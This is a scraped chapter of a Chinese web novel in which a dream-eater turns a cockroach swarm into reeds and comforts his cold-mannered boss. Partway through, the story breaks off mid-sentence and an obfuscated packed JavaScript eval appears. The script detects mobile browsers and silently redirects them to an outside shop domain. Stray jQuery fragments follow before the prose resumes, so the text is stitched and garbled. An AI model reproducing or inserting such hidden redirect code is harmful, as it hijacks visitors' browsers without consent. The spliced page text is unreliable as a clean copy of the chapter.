文趣网 > 都市小说 > 我能吃掉你的噩梦吗 > 32. 像一只猫
    “言珅,现在怎么办?”莫师被眼前的景象骇得声音微弱。

    “我知道这有点为难……”言珅的语气也变得有些遥远,“但发挥你能力的时候到了。”

    “什么!?”莫师反应过来,一脸惊恐地想要回头看,身后空无一人,才意识到想要瞪住的人此时此刻正在自己脑子里站着说话不腰疼。

    “是时候发挥你的想象力了!”言珅道。

    眼见着泛滥的蟑螂凑得越来越近,仿佛一朵朵浪花,头顶微微起伏。

    莫师已经无暇顾及它们的数量,耳边的声音越来越大了,正是之前几晚听见的不绝的“滋滋”声。

    原来是这些虫子啃食、刁钻纸壳墙壁的声音。

    莫师脑子里浮现出本地同学对自己的诚恳告诫:“记住我说的话,水杯一定要盖好盖子,屋里不要堆纸壳,还有……半夜脸上有东西一定不要睁眼,扔得越远越好。”

    同学是一只体态微富的橘色大猫,莫师没有问他原因,看着他讲述时仍不免微微拱起的脊背心中一阵发凉。

    为什么猫会怕蟑螂?这不符合食物链关系,但是绝对符合精神科学。

    尤其是面对着眼前这一幕时,莫师从未如此理解过怕某种动物的人。眼前的螂群带来的恐惧简直压倒性的,无视了所有的物理与心理防御。

    可是眼下似乎真的没有别的办法了。

    “莫师,趁着它们还没散开。”言珅道,“不然待会就找不到了。”

    刚刚鼓足勇气的莫师想到可能发生的场景,心脏又一阵紧缩。

    他下定决心握紧拳紧闭双眼:“好,我努力。”

    一秒钟后,他又睁开了眼:“我做不到!帮帮我言珅!”

    “你——”言珅恨铁不成钢地数落了句,“算了,就这一次。”

    说罢,莫师只感觉自己右手又伸出打了个响指。

    他忍着反胃睁开眼目睹了一切,眼前的蟑螂顷刻变化,头顶的两根触须变得更粗、更长。

    渐渐地,茂盛生长起的根茎生出一层层轻飘飘的白绒,在漆黑梦中乍一看如同一片片发光的羽毛,掩盖住了其下的丑恶。

    转眼间,眼前情景大变,原本低低伏于地下的螂群完全不见了原型,变为了一滩芦苇荡,高高地顶上了天花板。

    莫师目瞪口呆地看着眼前的一幕,心中的恐惧感随着螂群的消失而淡去,取而代之的是一种陌生的情绪。

    那是什么感受?莫师不由得伸手摸住了胸口,他总结不出,好像有些忧郁,有些不甘和愤怒,更多的却是一种幻痛。

    他百思不得其解,想不出这滋味的来由,为什么自己的目光落在那一片月光照耀的芦苇荡上时会感到哀伤?为什么自己的心跳都会在看见这副景象的瞬息间安静下来?又为什么自己会不舍得摧毁这一片摇晃的月光。

    “愣着干什么?”言珅的声音再次如寒冰一般冷却了他迷失的大脑,“还不吃,要我把它变回去吗?”

    一番话立即把莫师从没来由的忧愁中扯出来:“别!”

    那奇怪的感受像一阵雾,被突如其来的风吹得无踪无际,莫师很快困惑起自己刚刚为什么会愣住。

    在他看不见的梦深处,言珅仍看着眼前的景象双目失神。

    一滴泪水落入空无的梦里,无声无息。

    芦苇比蟑螂好接受多了,莫师抑制住自己想起它前身原型的冲动,迅速凝神。

    眼前的芦苇化作了一块块轻轻摇晃的手指饼干,他刚刚想要大快朵颐,却意外地听见了一阵声音。

    是久违的交谈声。

    “小文,小文?”是一个女人的声音,伴随着一阵阵敲门声响。

    听见这个声音的瞬间,他感受到内心深处涌上一阵强烈的悸动。

    好像是一种恐惧,又好像是一种思念。

    这声音听着很耳熟,莫师回忆了片刻,想起那是初见时听过的闻女士的嗓音。微哑柔和,带着点乡音。

    这是……和兔子梦境中办公室阴影一样的噩梦本源。

    他低声道:“言珅,我好像看见他的噩梦本源了。”

    没有听见言珅的回答,但莫师没有时间细想,那声音又响了起来,他全神贯注地竖起耳朵去听。

    “小文,你开门。”

    “小文,让姑妈看看你怎么样,看一眼我就走,行吗?”

    “小文,开饭了,你吃一口吧。”

    “小文,我把饭放在屋外了,你……”

    似乎还有未尽之言,最后全都被盖在了一声叹气中。

    正是莫师之前倒掉饭菜时听见的疲惫的“唉……”声。

    一阵微风乘着那声叹息,吹穿了层层叠叠的芦苇荡,吹到了莫师额头。

    好像一记来自谁人的轻拍。

    随后,幻影与声音全部消却,眼前依旧只余那片轻轻摆头的长茎,在月光下如波如浪。

    莫师抬起头,目光变得清醒,意识到自己抓住了噩梦本源的一角,却还没有资格真正深入。

    他从那阵怅然中抽离,张开了食梦之口。

    那些芦苇入口却不再是手指饼干的酥脆甜美,而是变成了细而软的龙须面。

    没有咀嚼声、没有什么滋味,只有淡淡的咸,余味又带着点空白的苦。

    味如嚼蜡,又难以舍弃。

    眼前的芦苇荡渐渐散去,世界又变得一片漆黑。

    莫师继续向前走,在摇曳的芦苇背后一个身影渐渐浮现。

    “言珅。”他喊了一声,对方却没有回应。

    莫师意识到事情不太对劲,自从螂群被转化后,言珅只说了一句话。

    他忍不住回忆起孟禛身上过度使用能力招致的反噬,脚步不由得加快起来。

    凑近以后,他直接从身后绕到了言珅身前,紧紧掐着他的双肩,低下头去看他的神情。

    “你没事吧,言珅!?”

    言珅的目光有些涣散,没有焦点,被莫师狠狠摇晃两下双眼视线才有了交集,落到了眼前人身上。

    “怎么了?”莫师见他能够自己站稳,紧紧握住了他的双手。

    那双手原本就没有体温,此刻更是冷得惊人,莫师不由得怀疑起言珅“梦中没有体温”的说辞,这个人居然还能变得更像冰块。

    他感觉到那双手在不停细细颤抖着,状态和初次见面言珅犯低血糖时的情形十分相像。

    “言珅,你……”莫师下意识去摸全身上下的口袋,“我这里没有糖给你吃。”

    他一时慌乱,怀中的手却像冰冷的泥鳅,从他紧握的双手中抽出来拍了他一下。

    “没事,别闹。”莫师低头去看,见言珅的脸色虽然还差得发青,神情却回到了平日冷肃的状态。

    只是语气依然带着虚弱的颤。

    莫师稍微松了口气,呼了口气才发现自己的心脏不知何时已被高高提起。

    他更

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738902|207726||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    仔细地端详言珅的神情,发现他不仅脸色发青,眼眶还泛着轻轻的红。

    疑问未经大脑脱口而出:“你……哭了?”

    言珅抬起头来,微微挑起了眉:“你哪只眼睛看见我哭了?”

    莫师本来还不确定,听见这句炸毛一般的反问反而确认下来:“两只眼睛都看到了。”

    “为什么,身体不舒服?”言珅垂着头,莫师只有把头垂得更低才能看清他。

    言珅气场太强,始终拒人千里之外,此刻莫师才意识到两人身高差竟有大约十几公分。

    莫师感觉额头被冰凉的东西抵住,传来抗拒的推力。

    言珅用食指把他推到了几十公分以外。

    “你呼吸太烫了。”言珅冷冷道,“别靠近我,我热。”

    说完,他转过了身。

    一种新奇的感觉如藤蔓一般生出,随后快速攀上莫师的整个心脏,将他牢牢攫住。

    他竟然觉得言珅有点……像一只猫。

    背影纤瘦,骨骼分明,高傲地抬着头,平日里冷冷淡淡,忍痛的时候也一声不吭。

    好像一颗剔透的水晶球产生几个轻微的裂隙,虽然依旧冰冷,却因不再完好而透进几束光。

    其中一束是莫师的目光。

    他隐约感觉自己看见了水晶球里的奥秘,那些裂纹、碎痕……还有熠熠的光点。

    莫师没有去打扰身前面壁的人,不知过了多久,言珅主动转过身:“你怎么还在?”

    “当然。”莫师如梦初醒,被唤醒了冷冰冰的回忆,“你还有哪里不舒服吗?”

    “谁说我不舒服了?”言珅问道,“你到底要盯着我到什么时候?”

    莫师没有理睬言珅的激将:“那你为什么会……”

    他想了想没有说出那个字,而是用手在双眼下比了个流泪的手势。

    “……”言珅看着莫师,目光很无奈,刚刚泛起的红痕还未完全退去,眼眶残留着些许血色,给这双如刀的目光镀上一层微薄的柔和。

    “……你真的想知道吗?”

    又似乎察觉了自己这句话的软弱,言珅紧接着继续说道:“这就是我的代价。孟禛的代价是睡眠,而我的代价是噩梦。”

    言珅和莫师说着话,目光却落在空荡荡的远方,那片芦苇荡曾在的地方。

    “然后呢?”莫师看着他问。

    言珅有些受不了地转过了头:“没了,就这样。”

    “每一次用过能力,你都会陷入到自己的噩梦中,是吗?”莫师情急之下又抓住他的手,那只手还是微凉带着点颤抖。

    他不知道的是,此时此刻在言珅的视野中,远处的芦苇荡依然在月光下静静晃着,像是一片银色的麦浪。

    而自己也不是自己,而是一双重叠的影子。

    言珅不知道同样的话由莫师说出来怎么就变得这样肉麻:“对。你能放开我了吗?”

    “你热?”莫师想起他刚刚无厘头的埋怨,“冷成这样你刚刚说热?”

    “和你说了,梦里没有真实的体温。”

    “那你为什么变得比之前更冷了?”莫师意外变得强势,好像被什么附了身,言珅想甩手竟没有甩开,“因为你想把自己冻起来?”

    “莫师,我是你老板。”言珅无奈,严词道。

    莫师心一横:“那你扣我工资吧。”

    说完,不容反抗地张开双手,把言珅牢牢抱进了怀里。